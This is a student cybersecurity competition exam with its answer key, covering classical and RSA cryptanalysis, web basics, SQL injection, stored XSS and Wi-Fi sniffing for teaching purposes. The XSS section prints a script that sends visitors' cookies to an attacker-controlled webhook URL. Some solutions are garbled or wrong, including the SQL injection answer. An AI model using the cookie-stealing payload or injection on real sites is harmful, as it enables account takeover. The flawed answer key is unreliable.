Cybersecurity Exam - BirdSO Invitational

Allen Chang + Eric Ma

3/7/2021

Directions:

- You will have 50 minutes to take the exam.
- This test is extremely long. Chances are, you won't finish - do the best that you can.
- Questions are not sorted by difficulty, but rather by topic. If you're stuck on a question, move on. Chances are, you will be able to solve a later question.
- The event is open internet, meaning that you are allowed to use any materials on the internet to complete the exam. Thus, out of browser time will not be tracked. However, you may not copy code found online.
- Along with the exam on Scilympiad, there will be a programming/hands-on portion of the exam hosted at hackerrank.com.
- Event rules may be found here.
- You may use any third-party application, such as Discord or Zoom, to communicate with your partners. Voice/video call is permitted.
- A supplemental document that contains snippets of code, large numbers, and long strings can be found here. You may copy from this document.

Cryptography - Multiple Choice

Question:	1	2	3	4	5	6	7	8
Points:	2	2	2	2	2	2	2	2
Score:								

Question:	9	10	11	12	13	14	15	Total
Points:	2	2	2	2	2	2	2	30
Score:								

Cryptography - Short Answer/Hands On

Question:	16	17	18	19	20	21	22	23	24	25	26	27	28
Points:	2	2	2	2	4	3	2	3	2	4	4	3	3
Score:													

Question:	29	30	31	32	33	34	35	36	37	38	39	40	41
Points:	3	3	4	20	4	3	3	15	4	6	4	4	3
Score:													

Question:	42	43	44	45	46	47	48	49	50	51	52		Total
Points:	4	4	3	2	3	3	4	4	3	3	25		170
Score:													

Web Architecture - Multiple Choice

Question:	53	54	55	56	57	58	59	60
Points:	2	2	2	2	2	2	2	2
Score:								

Question:	61	62	63	64	65	66	67	Total
Points:	2	2	2	2	2	2	2	30
Score:								

Web Architecture - Short Answer

Question:	68	69	70	71	72	73	74	75	76	77	78	79
Points:	2	8	3	3	3	3	5	4	3	3	4	2
Score:												

Question:	80	81	82	83	84	85	86	87	88	89	90	Total
Points:	3	3	3	4	2	2	2	2	2	2	2	70
Score:												

Programming/Hands-On

Question:	91	92	93	94	Total
Points:	0	30	30	40	100
Score:					

Contents

1 Cryptography - Multiple Choice (30)

Each question is worth two points.

1. (2 points) Anjali encrypts the National Audubon Society's "Field Guide to Birds" using the Atbash cipher. What letter should she expect to appear the most often in the ciphertext?

   A. Q B. R C. T **D. V**

   Solution: E is the most common letter in English texts. In the Atbash cipher, E encrypts/decrypts to V.

2. (2 points) According to the Birthday Problem, how many bits of security does the SHA-224 hash algorithm have?

   A. 100 **B. 112** C. 220 D. 224

   Solution: Half as many bits as the digest size is needed.

3. (2 points) Which of the following describes the purpose of padding in the context of hash functions?

   A. Padding makes the data visually appealing.
   B. Padding prevents length extension attacks.
   C. Padding prevents preimage attacks.
   D. Padding is not used in any hash functions.

   Solution: Padding is extremely useful because it can prevent length extension attacks, for instance.

4. (2 points) Which of the following correctly describes crib-dragging?

   A. It is a known-plaintext attack.
   B. It is a known-ciphertext attack.
   C. It is a chosen-plaintext attack.
   D. It is a chosen-ciphertext attack.

   Solution: Crib-dragging uses a "crib", or a known section of the plaintext.

5. (2 points) The ROCA vulnerability is an application of what RSA attack?

   A. Wiener's attack
   B. Low exponent/small e attack
   C. Common modulus attack
   D. Coppersmith's attack

   Solution: ROCA stands for "Return of Coppersmith's Attack".

6. (2 points) The National Institute of Standards and Technology recommends specific elliptic curves for use in applications such as HTTPS or PRNGs. Which of the following is not a reason that specific curves are used?

   A. These curves have been more heavily vetted.
   B. These curves are more efficient than others.
   C. Software that implements these curves, such as libraries and packages, already exist.
   D. These specific curves are not vulnerable.

   Solution: While these curves might be safer, they are not completely safe. Algorithms such as Shor's can break ECC, regardless of the curve used.

7. (2 points) Which of the following is not a valid disadvantage of RSA?

   A. It has extremely large key sizes.
   B. There are many attacks against RSA.
   C. RSA is insecure against classical algorithms.
   D. RSA is insecure against quantum algorithms.

   Solution: The best classical-time cryptanalysis of RSA is exponential in nature.

8. (2 points) Which of the following AES modes of operation does not use an IV?

   A. CBC **B. ECB** C. OFB D. CFB

   Solution: ECB does not use an IV.

9. (2 points) In the first round of encryption in AES-CBC, the plaintext is XORed with which of the following choices?

   A. The IV B. The EV
   C. The key D. The ciphertext

   Solution: The IV is first XORed with the plaintext.

10. (2 points) The standard that is used to define public-key certificates is called which of the following?

    A. X.500 B. X.503 C. X.506 **D. X.509**

    Solution: The standard is called X.509.

11. (2 points) Which of the following will convert a character into its binary equivalent?

    A. `bin(ord("X")).zfill(8)`
    B. `bin(ord("X"))[1:].zfill(8)`
    C. `bin(ord("X"))[2:].zfill(8)`
    D. `bin(ord("X"))[3:].zfill(8)`

    Solution: The [2:] strips the "0b" off of the binary number.

12. (2 points) Which of the following is the XOR operation in Python?

    A. `*`
    B. `**`
    C. `^`
    D. `^^`

    Solution: A is multiplication, B is exponentiation, C is XOR, and D doesn't work.

13. (2 points) Who does "R" in RSA stand for?

    A. Ronald
    B. Richard
    C. Rivest
    D. Ryan

    Solution: R stands for Rivest.

14. (2 points) Compute 33 XOR 55 XOR 22.

    A. 0 B. 10 C. 20 D. 30

    Solution: It is zero.

15. (2 points) Vivek, Chloe, and Yuchen would like to obain a shared key in order to communicate with each other. They decide to use the Diffie-Hellman Key Exchange algorithm to compute this key! However, Pratyoy, an adversary, would like to steal their key so he can listen in on their conversation. Which of the following attacks should he perform?

    A. Invalid Curve Attack
    B. Man-in-the-Middle Attack
    C. Coppersmith's Attack
    D. LLL

    Solution: Out of the choices, the Man-in-the-Middle Attack is the only one that makes sense.

2 Cryptography - Short Answer/Hands On (170)

2.1 Cryptography with Python (15)

It's impossible to do cryptography with Python without knowing some of Python's basic operations! This section will have many short questions that will allow you to demonstrate your knowledge of Python functions.

Let $a = 122333444455555666666777777$ and $b = 1234567890987654321$.

16. (2 points) What are the last 10 digits of $a \times b$?

Solution: 2921824417

17. (2 points) What are the last 10 digits of a^b?

Solution: 1817480177

18. (2 points) Let $\oplus$ be the bitwise XOR operator. What is $a \oplus b$?

Solution: 122333444334012938767624659 2

19. (2 points) Let $\&$ be the bitwise AND operator. What is $a\&b$?

Solution: 1224997584989592753

20. (4 points) Solve the equation $bx = 1 \mod a$.

Solution: 55776901340326582085138231

21. (3 points) Let $c =$ "Ornithology.", without the quotation marks. How would you write c such that each byte in c is represented as a hexadecimal string using the ASCII table?

Solution: 4f726e6974686f6c6f67792e

2.2 The Vigenere Cipher (15)

The Vigenere Cipher is a keyed variant of the Caesar Cipher in which characters are shifted a certain amount based on a letter in the rotating key.

A bird named Hyper-Vincent would like to write a tweet to his friend, Andrew, without others being able to see what they are writing. The bird alphabet has 5 letters - A, B, C, D, and E. Below is a table of expected frequencies in a normal text in Bird:

Letter	Freq
A	0.50
B	0.30
C	0.10
D	0.08
E	0.02

22. (2 points) If Hyper-Vincent used a 10-letter key to encrypt his message, approximately many bits of entropy does the key have?

Solution: $\log 25^{10} = 23$

The index of coincidence I is defined as the probability of choosing the same letter when two letters are randomly chosen from the ciphertext. The following formula approximates the index of coincidence of a text, where n is the length of the text and p_i is the probability that the ith letter in the alphabet is randomly chosen:

$$I = \sum_{i=1}^{n} p_i^2$$

23. (3 points) If Hyper-Vincent encrypted his letter instead using a simple substitution cipher, what would be the expected index of coincidence, I_S of his ciphertext?

Solution: $0.5^2 + 0.3^2 + 0.1^2 + 0.08^2 + 0.02^2 = 0.36$

24. (2 points) If Hyper-Vincent sent a random string of letters with an equal amount of As, Bs, Cs, Ds, and Es, what would be the index of coincidence I_R then?

Solution: $5 * 0.2^2 = 0.2$

Hyper-Vincent has transmitted a message to Andrew! Unfortunately, Jacob has intercepted the message, hoping to decrypt his message. He uses the following formula to estimate the length of Hyper-Vincent's key using the index of coincidence attack, where n is the number of letters in the ciphertext, l is the length of the key, and I is the predicted index of coincidence of the message encrypted by the Vigenere cipher:

$$I = \frac{\frac{n}{l} - 1}{n - 1} \times I_S + \frac{n - \frac{n}{l}}{n - 1} \times I_R$$

25. (4 points) Given that the index of coincidence of the 236-letter ciphertext is 0.24, what is the most probable length of the key that Hyper-Vincent used to encrypt his message?

Solution: We can calculate I for subsequent ls, since l cannot be too big. At $l = 2$, $I = 0.278$. At $l = 3$, $I = 0.252$. At $l = 4$, $I = 0.239$. Thus, the length of the key is most likely 4.

26. (4 points) Regardless of your answers to the previous questions, imagine that you have a ciphertext, and you are sure that you know the length of its key. If the size of the ciphertext was sufficiently large, describe how you could recover the original plaintext.

Solution: Knowing the size of the key l, you can divide the ciphertext into l chunks, with the nth character of the ciphertext going into the $n \mod l$th chunk. Performing a frequency analysis of each chunk, you can recover the original plaintext.

2.3 Linear Congruential Generators and One-Time Pads (40)

A One-Time Pad, or OTP for short, is a stream cipher. Linear Congruential Generators, or LCGs, may be used to pseudorandomly generate the key used by the OTP.

You are given a sequence of integers x_i such that $i \in \mathbb{Z} : i \in [1, N]$, where N is a large number. The sequence of integers has been formed by the following recurrence equation:

$$x_{i+1} = ax_i + b \mod m$$

where a, b, m are integers and $x_0 = s$, the seed.

For each of the following three questions, you will be asked if it is possible to recover certain constants if you had knowledge of some other constants and a list of generated integers. To obtain full credit, write the expressions that you would evaluate to recover those constants. Show all work.

27. (3 points) Is it possible to recover b given knowledge of a and m, and if so, how?

Solution: Yes. $b = (x_1 - ax_0) \mod m$

28. (3 points) Is it possible to recover a and b given knowledge of m, and if so, how?

Solution: Yes. $a = \frac{x_2 - x_1}{x_1 - x_0} \mod m$. Then, recover b as shown in the previous problem.

29. (3 points) Is it possible to recover m given knowledge of a, and if so, how?

Solution: Yes. For all i, $x_i = (ax_{i-1} + b) \mod m$. Thus, $x_i - ax_{i-1} - b = km$. Computing enough values for several i, the GCD can be recovered of many kms using the Euclidean Algorithm, which is m.

30. (3 points) Kiosei would like to use an LCG as a pseudorandom number generator which outputs 2^{64} random numbers. Using the Birthday Problem, at least how many bits should the modulus be?

Solution: At least 128 bits.

Consider the following implementation of an OTP.

```
def LCG(m, a, c, seed, n):
    x = seed
    ret = [x%m]
    for i in range(2,n+1):
        x=(a*x+c)%m
        ret.append(x)
    return ret
m = "" #The message has been removed.
modulus = 2**16
multiplier = 48127
constant = 33333
seed = 0 #The seed has been removed.
key = LCG(modulus,multiplier,constant,seed,len(m))
c = ""
for i in range(len(m)):
    c+=hex(ord(m[i])^key[i]%256)[2:]
print(c)
print(key[-1])
```

31. (4 points) First, what is the period of the LCG? That is, after how many numbers generated by the LCG will they start repeating again?

Solution: 128

The following is the output of the script:

```
6d85499991995578856dc4d945cdc58924a8b5c8e199e568419db7b954b984adc588e5cdc5a9356901edd
7676
```

32. (20 points) Decrypt the ciphertext.

Solution:

```python
ct = "6d85499991995578856dc4d945cdc58924a8b5c8e199e568419db7b954b984adc588e5cdc5a9356901edd"
def LCG(m, a, c, seed, n):
    x = seed
    ret = [x%m]
    for i in range(2,n+1):
        x=(a*x+c)%m
        ret.append(x)
    return ret
m = "" #The message has been removed.
modulus = 2**16
multiplier = 48127
constant = 33333
seed = 0 #The seed has been removed.
for i in range(65535):
    key = LCG(modulus,multiplier,constant,i,len(ct)//2)
    if key[-1]==7676:
        seed=i
        break
c = ""
ct = [int(ct[i:i + 2],16) for i in range(0, len(ct), 2)]
for i in range(len(ct)):
    c+=chr(ct[i]^key[i]%256)
print(c)
7676
```

Answer: **Birds are cool**

33. (4 points) Name one large benefit and one drawback to OTP ciphers.

Solution: One time pads, theoretically, are impossible to crack, as its ciphertexts reveal no information about the plaintext message if the key is properly generated. To be secure, one time pads have extremely large keys. If the key of a one time pad is large, the ciphertext will not be recoverable.

2.4 Vulnerabilities of the RSA Cryptosystem (35)

Gwennie would like to write a love letter about birds, but does not want others to be able to view her letter. She decides to implement a variant of the RSA cipher, which uses $n = p^2q$. She needs to make sure his implementation is secure, so that no one is able to decrypt his letter! Below is her implementation, written in SageMath(Python):

```
import random
p = random_prime(2^512-1, false, 2^511)
q = p+1
while not is_prime(q):
    q+=1
n = p*p*q
e = 2^16+1
pt = 0 #Removed
print(n)
ct = pow(pt,e,n)
print(ct)
```

34. (3 points) In terms of p and q, write the mathematical expression for calculating $\phi(n)$, Euler's totient.

Solution: $p(p-1)(q-1)$

35. (3 points) What about this implementation renders Gwennie's cryptosystem insecure?

Solution: The primes are close together.

The following is the output of the script:

```
940426705728476730002400434509367021533207955578046204224985343382204972736344137015170020679264757578727742225680
↪ 366005898112189798398356442326978218383966710011999240837161310914797602711582855534440749653653013632820236 42
↪ 801353592884142107428258842221657291867115136698230123245789079903156659771339691223741174782167637519078503 64
↪ 720630269823053573505137219796755440340794934313951373806847708295178719297174450809084621129312192048008039 38
↪ 488613232932505383
868230176302282519060440794665664270744113797332799391512925898371200358503174173216957519752196561802586851642683
↪ 986992353609483941152425056214894141186287316387469373685184155417633399391723520582456269994806592718665754 88
↪ 510634613386469467718656421614796303206017079709555398437124351797027541587867403766095336783454249876855799 45
↪ 539515728025042346054302726845074572901277915557063474680489941712661794763611725401277863825955255914042010 66
↪ 941658254212213285
```

36. (15 points) Recover pt.

Solution: 1212121

```
n = 0 #Removed for length
approx = int(n ^(1/3))
while n%approx != 0:
    approx+=1
p = approx
phi = 0
if (n/approx)%approx==0:
    q = ((n/approx)/approx)
    phi = p*(p-1)*(q-1)
```

```
else:
    q = (sqrt(n/approx))
    phi = q*(q-1)*(p-1)
ct = 0 #Removed for length
e = 65537
d = inverse_mod(e,phi)
print(pow(ct,d,n))
```

It's Aidan's birthday next week! He would like to invite three of his bird friends to his bird-themed birthday party: Greycen the Tawny-flanked Prinia, Kayla the Moltres, and Tim the Kakapo. He uses each of his friends' RSA public keys to encrypt an invitation letter, all with public exponent $e = 3$. Greycen, Kalya, and Tim's moduli are N_G, N_K, and N_T respectively.

Unfortunately, Eric the Common Cuckoo is jealous that he wasn't invited. He decides to intercept the three encrypted invitations, and attempts to use his knowledge of the RSA cryptosystem to decrypt the message.

37. (4 points) Assuming that the generation of the RSA keys are perfectly random and secure, what is the problem with Aidan's implementation of the RSA cryptosystem? What attack can be used to exploit this vulnerability?

Solution: Hastad's Broadcast Attack

38. (6 points) Explain specifically how this attack can be carried out. Write an (informal) mathematical proof that shows how Eric can recover the ciphertext using only the three RSA public keys and its three corresponding ciphertexts. Hint: The Chinese Remainder Theorem may be helpful!

Solution: Let the three ciphertexts be defined as follows: $C_i = M^3 \mod (N_i)$ for all i in (1,2,3).

By CRT, we can trivially find C' where $C' = M^3 \mod (N_1 N_2 N_3)$.

Thus, by computing $\sqrt[3]{C'}$, we can recover the original C.

39. (4 points) Research in quantum computing has accelerated in recent years. Discuss how this impacts the security of RSA.

Solution: Quantum algorithms, such as Shor's, have been developed for quantum computers that can be used to break RSA. This algorithm factors RSA in polynomial time, meaning that it is no longer exponential, which is the best case for classical computers. RSA depends on the prime factorization problem, and Shor's algorithm breaks this. Thus, RSA is no longer secure.

2.5 Signatures and Authentication (15)

Luckily, Aidan was smart and decided to send out an RSVP to his three friends, requiring them to not only respond to the invitation, but also respond with a signed message. Each of his friends have publicly published their RSA public keys. They also replied with an email to accept his invitation, which contained a signature of their message.

40. (4 points) The signature that is sent can be mathematically represented using the formula $S = H(p)^d$, where H is an arbitrary secure hashing function and p is the plaintext message. Give one reason why the message must be hashed first before it is signed. Use the words "Data Integrity" in your response, and consider the impact on the security of the signing scheme with the existence of an adversary.

Solution: Hashing the signature means that one cannot alter the message after it is signed, preserving data integrity. If the hash was altered by an adversary/man in the middle, the receiver would know, since the signature would not match!

41. (3 points) Explain how Aidan can verify the authenticity of each of the recipient's emails.

Solution: Aidan would receive the plaintext and hash it. Then, he would *encrypt* the signature that was received (take the signature to the power of e). Then, he would compare it to the hashed plaintext. If they are the same, he knows the email is authentic.

Let $E(p) = p^e \mod n$. Consider a function E such that $E : S \to S$ for $S \in (\mathbb{Z}/n\mathbb{Z})^*$.

42. (4 points) Why must $E : S \to S$ be a bijection? That is, if $E : S \to S$ was not a bijection, why would Aidan not be able to confirm the authenticity of the replies?

Solution: If it's not a bijection, then he cannot confirm the authenticity of the email, since there would be multiple plaintexts that map to the same ciphertext.

43. (4 points) $E : S \to S$ is also a trapdoor function. Explain what a trapdoor function is. How do you find the "trapdoor" in RSA?

Solution: A trapdoor function is easy to compute one way but hard to compute the other way. To find a trapdoor function in RSA, one has to find phi, d, and perform $c^d \mod (n)$.

2.6 "Fun" with Finite Fields and Elliptic Curves (25)

44. (3 points) Discuss the difference between key sizes in RSA and ECC keys. Using this difference, describe one advantage that ECC has over RSA.

Solution: ECC key sizes are significantly smaller. Thus, they are more smaller and lightweight.

Consider an elliptic curve E in $\mathbb{F}_p^2$ with equation $y^2 = x^3 - 5x + 14$. Let the set of points on E define the elements in the abelian group G, such that $+$ is the closed operation on G.

The group law of elliptic curves is defined as follows:

- The identity element O is the "point at infinity".
- Let two points on E be P and Q. Then $R = P + Q$, such that $P + Q - R = O$.
- Let P' be the inverse of P. Then $P + P' = 0$ for all P in G.

45. (2 points) What does the $\mathbb{F}$ in $\mathbb{F}_p^2$ stand for?

Solution: It's a finite field.

46. (3 points) Describe the meaning of the group law of elliptic curves as a geometric construction.

Solution: Geometrically, if points P and Q were drawn on an elliptic curve, the line passing through also passes through a third point $-R$, such that its inverse, R, is the reflection of $-R$ across the curve with respect to the x-axis.

47. (3 points) Let $P = (2, 2\sqrt{3})$ and $Q = (0, \sqrt{14})$. Compute $P + Q$ and $Q + P$. Exact answers are not needed.

Solution: (-1.981,-4.017) and (-1.981,-4.017) - point addition is commutative.

Just like with integers, the group operation $\times$ can be defined as repeated "addition".

Let's talk about the Elliptic Curve-Diffie Hellman protocol.

Allen and Jason would like to communicate with each other over a secret and secure channel! They plan to use the EC-DH protocol to generate a pair of shared keys.

To generate a public and private key pair, the following algorithm is performed:

1. Allen chooses an integer n_A and a generator point G and computes $Q_A = n_A \times G$.
2. G is transmitted insecurely to Jason.
3. Jason chooses an integer n_J and computes $Q_J = n_J \times G$.
4. Allen and Jason exchange Q_A and Q_J insecurely.
5. Allen computes $n_A \times Q_J$ and Jason computes $n_J \times Q_A$. Since the group operation of elliptic curves is associative, both now share the point $n_A \times n_J \times G$.

48. (4 points) Which variables are Allen's private key and public key?

Solution: Allen's private key is n_A, his public key is Q_A.

49. (4 points) In step 1 and 3, Allen and Jason use the scalar multiplication operator on their generator point G. Briefly describe the algorithm used to most efficiently perform scalar multiplication.

Solution: The "Double-and-add" algorithm is commonly used - it's analogous to the multiply-and-square algorithm for modular exponentiation.

50. (3 points) In step 4, why is it alright for them to transmit Q_A and Q_J insecurely?

Solution: These are public keys; one cannot derive their private keys from these points.

51. (3 points) Explain the purpose of the EC-DH key agreement scheme in the TLS protocol.

Solution: The EC-DH key agreement scheme is used in the TLS protocol to perform a handshake. It is most commonly used in HTTPS.

2.7 The $\mathfrak{AC}_4$ Cipher (25)

To further bolster his security, Allen decides to encrypt all of his messages with the $\mathfrak{AC}_4$ cipher. In this question, you will be asked to implement a decryption algorithm for his cryptosystem.

The $\mathfrak{AC}_4$ stream cipher works by first generating a 256-byte array that is a permutation of bytes $0x00$ through $0xff$ using a key. Then, an algorithm is performed on the 256-byte array, and a list of pseudorandom bytes is returned. Finally, a second algorithm is performed on the key with the plaintext. Can you figure out how to implement a decryption function for his cryptosystem?

Consider the following implementation of his cryptosystem in Python:

```
import hashlib
m = hashlib.md5()
key = "Golden Crowned Kinglet*****" #Five digits, 0-9, have been replaced with asterisks
pt = "" #Removed, this is the answer!
m.update(key.encode())
key=m.hexdigest()
s = [i for i in range(256)]
for i in range(256):
    s[i],s[ord(key[i%len(key)])]=s[ord(key[i%len(key)])],s[i]
ct=""
for i in range(len(pt)):
    ct+=hex(s[ord(pt[i])])[2:].zfill(2)
    s[i],s[ord(pt[i])]=s[ord(pt[i])],s[i]
print(ct)
```

The following is the output of the script:

```
3558565f6a12f433eb34f04854376760395e656405036d61ff0c11020d000e5519133627
```

52. (25 points) Recover the original message.

Solution:

```
import hashlib
def test(i):
    key = "Golden Crowned Kinglet"+str(i).zfill(5)
    m = hashlib.md5()
    m.update(key.encode())
    key=m.hexdigest()
    s = [i for i in range(256)]
    for i in range(256):
        s[i],s[ord(key[i%len(key)])]=s[ord(key[i%len(key)])],s[i]
    ct = "3558565f6a12f433eb34f04854376760395e656405036d61ff0c11020d000e5519133627"
    ct = [ct[i:i + 2] for i in range(0, len(ct), 2)]
    pt=""
    for i in range(len(ct)):
        pt+=chr(s.index(int(ct[i],16)))
        s[i],s[ord(pt[i])]=s[ord(pt[i])],s[i]
    for i in pt:
        if ord(i)>128 or ord(i)<32:
            return
    print(pt)
for n in range(0,100000):
    if n%1000==0:
```

```
22          print(n)
23      test(n)
```

Answer: **Birds are flying majestic creatures.**

3 Web Architecture - Multiple Choice (30)

53. (2 points) Which of the following events occurred first?

A. ARPANET goes live B. The dot-com bubble
C. NSFNET was developed D. The Y2K bug

Solution: ARPANET went live in the 60s, earlier than any of the other events.

54. (2 points) Zoe's microwave is next to her router. She notices that people who come over complain that the WiFi is slow. Why is the WiFi affected?

A. The microwave is draining too much power for the router to be effective.
B. The microwave is operating at a frequency similar to that of the people's devices.
C. The microwave intercepts packets from the people's devices.
D. The microwaves melt the WiFi router.

Solution: Interference is the reason that the WiFi is affected.

55. (2 points) In PHP, the comparison `0 == "hello"` returns:

A. true B. false
C. error D. undefined behavior

Solution: `0 == "hello"` returns true, as it is a loose comparator.

56. (2 points) A website has moved to a new location. A direct request to the old location would result in which class of HTTP status codes?

A. 1xx B. 2xx **C. 3xx** D. 4xx

Solution: 3xx status codes are for redirection.

57. (2 points) Which HTTP request header tells the server about the machine that is sending the request?

A. User-Agent B. Agent
C. Sender D. From

Solution: The user agent tells the server about your machine.

58. (2 points) The Accept-Encoding HTTP request header tells the server about:

A. How data should be compressed and sent back to the client.
B. How data should be obfuscated to prevent interceptions.
C. How data should be stored across multiple webpages.
D. How data should be encrypted for security.

Solution: This request header tells how data should be compressed.

For the following two questions, consider the following code:

```php
<?php
if (isset($_GET["file"])) {
    echo file_get_contents($_GET["file"]);
    exit();
}
?>
```

59. (2 points) The above snippet is vulnerable to:

A. Type confusion **B. Local File Inclusion**
C. PHP injection D. Cookiejacking

Solution: The code is vulnerable to LFI because the file parameter is not sanitized.

60. (2 points) Furthermore, the above vulnerability is a type of:

A. Server-Side Request Forgery
B. Cross-Site Request Forgery
C. Server-Side Template Injection
D. Code Injection

Solution: LFI is a type of SSRF.

61. (2 points) IPv4 addresses, such as the famous 127.0.0.1, use how many bits in its address?

A. 16 **B. 32** C. 64 D. 128

Solution: 4 bytes * 8 bits/integer = 32 bits.

62. (2 points) Which of the following is not a valid HTTP

verb?

A. GET B. POST C. TRACE **D. DROP**

Solution: DROP is not a valid HTTP verb.

63. (2 points) Robert would like to delete a table from his SQL database. Which of the following keywords will help him accomplish this?

A. DELETE **B. DROP**
C. POP D. REMOVE

Solution: The DROP keyword can delete a table.

64. (2 points) Cruz is making a webpage about Laughing Gulls! To add a line break in a paragraph, which of the following HTML tags should he use?

A.
 B. <break> C. <return>
D. <p>

Solution: The
 is an empty tag that adds a break to a paragraph.

65. (2 points) Which of the following is a valid MIME type to specify an image format?

A. image/png B. image/jpg
C. picture/png D. picture/jpg

Solution: The image/png is the only MIME type above that is valid.

66. (2 points) Which of the following headers HTML are the largest?

A. <h0> **B.** <h1> C. <h6> D. <h7>

Solution: <h1> is the largest, as <h0> doesn't exist.

67. (2 points) Sophia, B, and Alisa are the webmasters of a website about birds. As webmasters, they are logged into administrator accounts. Every time they reload the page, they are still logged in. Why is this?

A. Their passwords are stored in the source code.
B. Their passwords are stored in the cookies.
C. Their session data is stored in the source code.
D. Their session data is stored in the cookies.

Solution: A and C do not make any sense; B is incorrect because that would be insecure. D is correct because session data is often stored in the cookies.

4 Web Architecture - Short Answer (70)

4.1 Web Development (13)

Caleb and Crystal are building an online CAD software, called BirdCAD! The first thing they do is make a landing page for the website.

68. (2 points) Obviously, the website is written in HTML. To define an HTML document, what tag must appear first in the page?

Solution: (angle) !DOCTYPE html (angle)

69. (8 points) Let's help Caleb and Crystal create a landing page for their website! Follow the directions below; you do not have to include <html>, <head>, or any other parent elements/tags for questions that ask you to write HTML.

    1. First, create an image. The source of the image is https://u.meow.cx/j1kc.png.
    2. Then, link the image. When a user clicks on the image, it should bring them to http://birdcad.org.
    3. Below the image, add a caption! The text should read "BirdCAD".
    4. The caption should be in red, and the font of the caption should be Arial.
    5. Below the caption, make a line break.
    6. Using the paragraph tag, write a slogan, hook, or another phrase that describes Caleb and Crystal's product. This phrase can be whatever you want!
    7. Beneath the paragraph tag, add a button that says "Join".
    8. When the button is clicked, redirect the user to http://birdcad.org/login.

Solution:

```
<a href="http://birdcad.org"><img src="https://u.meow.cx/j1kc.png"></a>
<h1 style="color:red; font-family: Arial">BirdCAD</h1>
<br>
<p>The premier CAD software</p>

<button onclick=location.replace("http://birdcad.org/login")>Join</button>
```

70. (3 points) The previous question asked you to write a portion of code. Is this considered front-end or back-end development? What is the difference between the two terms?

Solution: This is front-end development - this is a portion of the website that a user would interact with.

4.2 Databases and SQL (14)

Next, Caleb and Crystal would like to implement a database of usernames and passwords. The database is named "BirdCADUsers", and has the following structure, where "ID", "Email", and "Password" are the column headers, the IDs are hidden, and the first three rows are shown:

71. (3 points) Why might this database be considered a security risk? What is one way to mitigate this risk?

ID	Email	Password
3531	birdlover1@gmail.com	birdbirdBIRD!
9183	ornithooooooooo@gmail.com	steller's_Jay
3100	we.love.eric.ma@gmail.com	:star_struck:we_stan_EricMa
...	...	...

Solution: Passwords are stored in plaintext. One can hash the passwords.

72. (3 points) Write an SQL statement that inserts a user with ID "100", Email "vinstan.pog@gmail.com", and Password "password1" into the database.

Solution: INSERT INTO BirdCADUsers (ID, Email, Password) VALUES ('100','vinstan.pog@gmail.com','password1');

73. (3 points) Write an SQL statement that selects only the users with an email "birdlover1@gmail.com".

Solution: SELECT * FROM BirdCADUsers WHERE Email='birdlover1@gmail.com';

Now, consider a backend script for the database, written in Python, that takes an ID as input:

```
id = "" #User inputted ID
if "=" in id:
    ...
    #Throw error
sql_statement = "SELECT * FROM BirdCADUsers WHERE id = '" + id + "';"
```

74. (5 points) The IDs of the table are all unique natural numbers. What value of the variable `id` will create a SQL statement that returns all rows other than the user with ID 1?

Solution: SELECT * FROM BirdSOUsers WHERE ID = '' OR CustomerID¿'1';

4.3 Cross-Site Scripting (16)

Ashrit, after having lost to Caleb and Crystal in WICI, wants to sabotage their attempt at building an online CAD software. He discovers an XSS vulnerability in which he is able to permanently upload JavaScript code onto the website. Upon loading the page, the user's browser immediately sends an HTTP request to a site that Ashrit controls, along with all of the cookies in the current session. Ashrit's code is below:

```
<script>fetch("https://webhook.site/11111111-1111-1111-1111-111111111111?" + document.cookie)</script>
```

75. (4 points) What type of XSS (I/II) is this an example of? What does this mean? What is the difference between the two types?

Solution: Type 1 - This means that it's persistent. This is because the user input (Ashrit's uploaded code) is pernamently stored on the server, and Caleb's cookies will immediately be sent upon loading.

76. (3 points) Which cookie header would most effectively prevent any information to be sent over to Ashrit?

Solution: HttpOnly

77. (3 points) Caleb loads the page, sending a GET request to Ashrit's website. However, the GET request failed! What CORS header is absent on Ashrit's website that fails the GET request?

Solution: Access-Control-Allow-Origin

78. (4 points) How does this vulnerability allow Ashrit to logon to the website as Caleb?

Solution: After Caleb loads the page, his cookies are sent over to Ashrit's website. Ashrit can replace his session cookies with his own cookies and access Caleb's account.

79. (2 points) Time for the most important question on the test: what is your favorite type of cookie? (There's no correct answer)

Solution: No right answer.

4.4 Packet Sniffing (13)

Not only does Ashrit want to gain access to Caleb's BirdCAD account, but he also wants to gain access to Caleb's other accounts, which he hopes will contain the rare book "How to Become a Code God", written by William Lee.

To do this, Ashrit stalks Caleb for a few days and eventually determines that Caleb goes to his favorite coffee shop, JavaBird, every Friday at 4 PM in order to work on BirdCAD software. Caleb is connected to the coffee shop's WiFi network. When Caleb logs into his BirdCAD account, Ashrit would like to intercept the WiFi packets to discover Caleb's password.

80. (3 points) Ashrit is attempting to capture all WiFi traffic in the coffee shop. Name one likely channel (in Ghz) and one channel width (in Mhz) that he can attempt to capture WiFi packets in.

Solution: Answers vary, but 2.4GHz and 20MHz are the most common.

81. (3 points) The name of this attack is what four-word hyphenated phrase?

Solution: Man-In-The-Middle

82. (3 points) Is it possible to conduct this attack if the website used HTTP? What about HTTPS? Why?

Solution: Yes, HTTP. No, HTTPS, because the traffic is encrypted.

83. (4 points) Name two things Caleb can do to mitigate the risk that Ashrit will be able to intercept his WiFi.

Solution: Use a VPN, use HTTPS, do not use public WiFi, be aware of phishing emails, etc. Answers vary.

4.5 History of the Internet (14)

Remember: this test is **open internet**. This means that you'll be allowed to Google any information you would like.

84. (2 points) What was the purpose of the MySpace Worm, and what vulnerability did it abuse to achieve its purpose?

Solution: Get Samy new friends! XSS

85. (2 points) On what TCP port does the Quick Mail Transfer Protocol list on?

Solution: Port 209

86. (2 points) In your own words, what is a zero-day vulnerability?

Solution: A vulnerability that has not been disclosed and not known by the software vendor, but known by attackers.

87. (2 points) In 2003, which computer virus abused a buffer overflow vulnerability to spread itself over networks, effectively becoming a DoS attack?

Solution: SQL Slammer

88. (2 points) What popular software helps users scan a network?

Solution: nmap

89. (2 points) What standard network protocol, whose support was recently dropped by Chrome, can be used to transfer files from a server to a client?

Solution: FTP/File Transfer Protocol

90. (2 points) On what date did Bitcoin first hit $50,000?

Solution: February 16th, 2021

5 Programming/Hands-On (100)

This section will contain three programming questions containing a range of difficulties. The questions will be worth a total of 100 points. Each question will have 5-7 test cases, with each test case being weighted equally.

91. (0 points) Please enter 2 HackerRank usernames that you want to be scored for the above questions. If you decide not to do any of the Programming Hands-On questions, you may leave this question blank.

92. (30 points) **Bird Swap**

